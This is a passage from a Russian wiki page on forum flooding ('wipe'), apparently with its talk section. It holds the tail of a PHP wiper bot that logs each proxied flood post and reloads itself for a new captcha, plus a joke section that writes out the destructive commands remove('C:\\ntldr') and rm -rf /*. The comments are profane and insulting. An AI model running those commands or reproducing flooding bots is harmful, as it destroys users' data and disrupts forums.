$treadpostwiped = $profit.", proxy(or direct): ".$proxyip.":".$proxyport."\r\n";
$myFile = "wipelog.txt";
$fw = fopen($myFile, "a");
fwrite($fw, $treadpostwiped);
fclose($fw);
}
fclose($fp);
//Пауза
sleep($timeout);
//Відкрили знову цей скрипт вже з новою капчею
header( 'Location: '.$_SERVER["SCRIPT_NAME"] ) ;
echo '<meta http-equiv="refresh" content="10;url='.$_SERVER["SCRIPT_NAME"].'">';
}
?>
[править] АЛСО
- В ММОРПГ вайп - смерть всех членов отряда в рейде или подземелье. На пиратских серверах алсо означает стирание или откат базы данных персонажей, вызывающий butthurt у игроков.
- Раз в год некое подобие вайпа смотри на своей стенке во Вконтактике в свой день рождения
[править] Вайпалка на ГУИ
- Анон, перезалей, плиз
[править] pyFLOODer
Вопрос относительно сей вайпалки: помимо того, чтобы скачивать описанный в статье контент, для его использования понадобится еще и Perl? Это же перлскрипт, насколько я понял из кода. это питон скрипт долбоеб, какой нахуй перл.
[править] Вайп в чятике
.Разместите в статье, плз.
[править] format C:
remove('C:\\ntldr')
rm -rf /*
[править] Анлинки
Да выпилите вы уже из кода свои ёбаные в рот анлинки. Вам бы только что-нибудь разрушить. Вишни вам мало, что ли? —Breather
- Нахуй пошел. Говноедам — говноедово.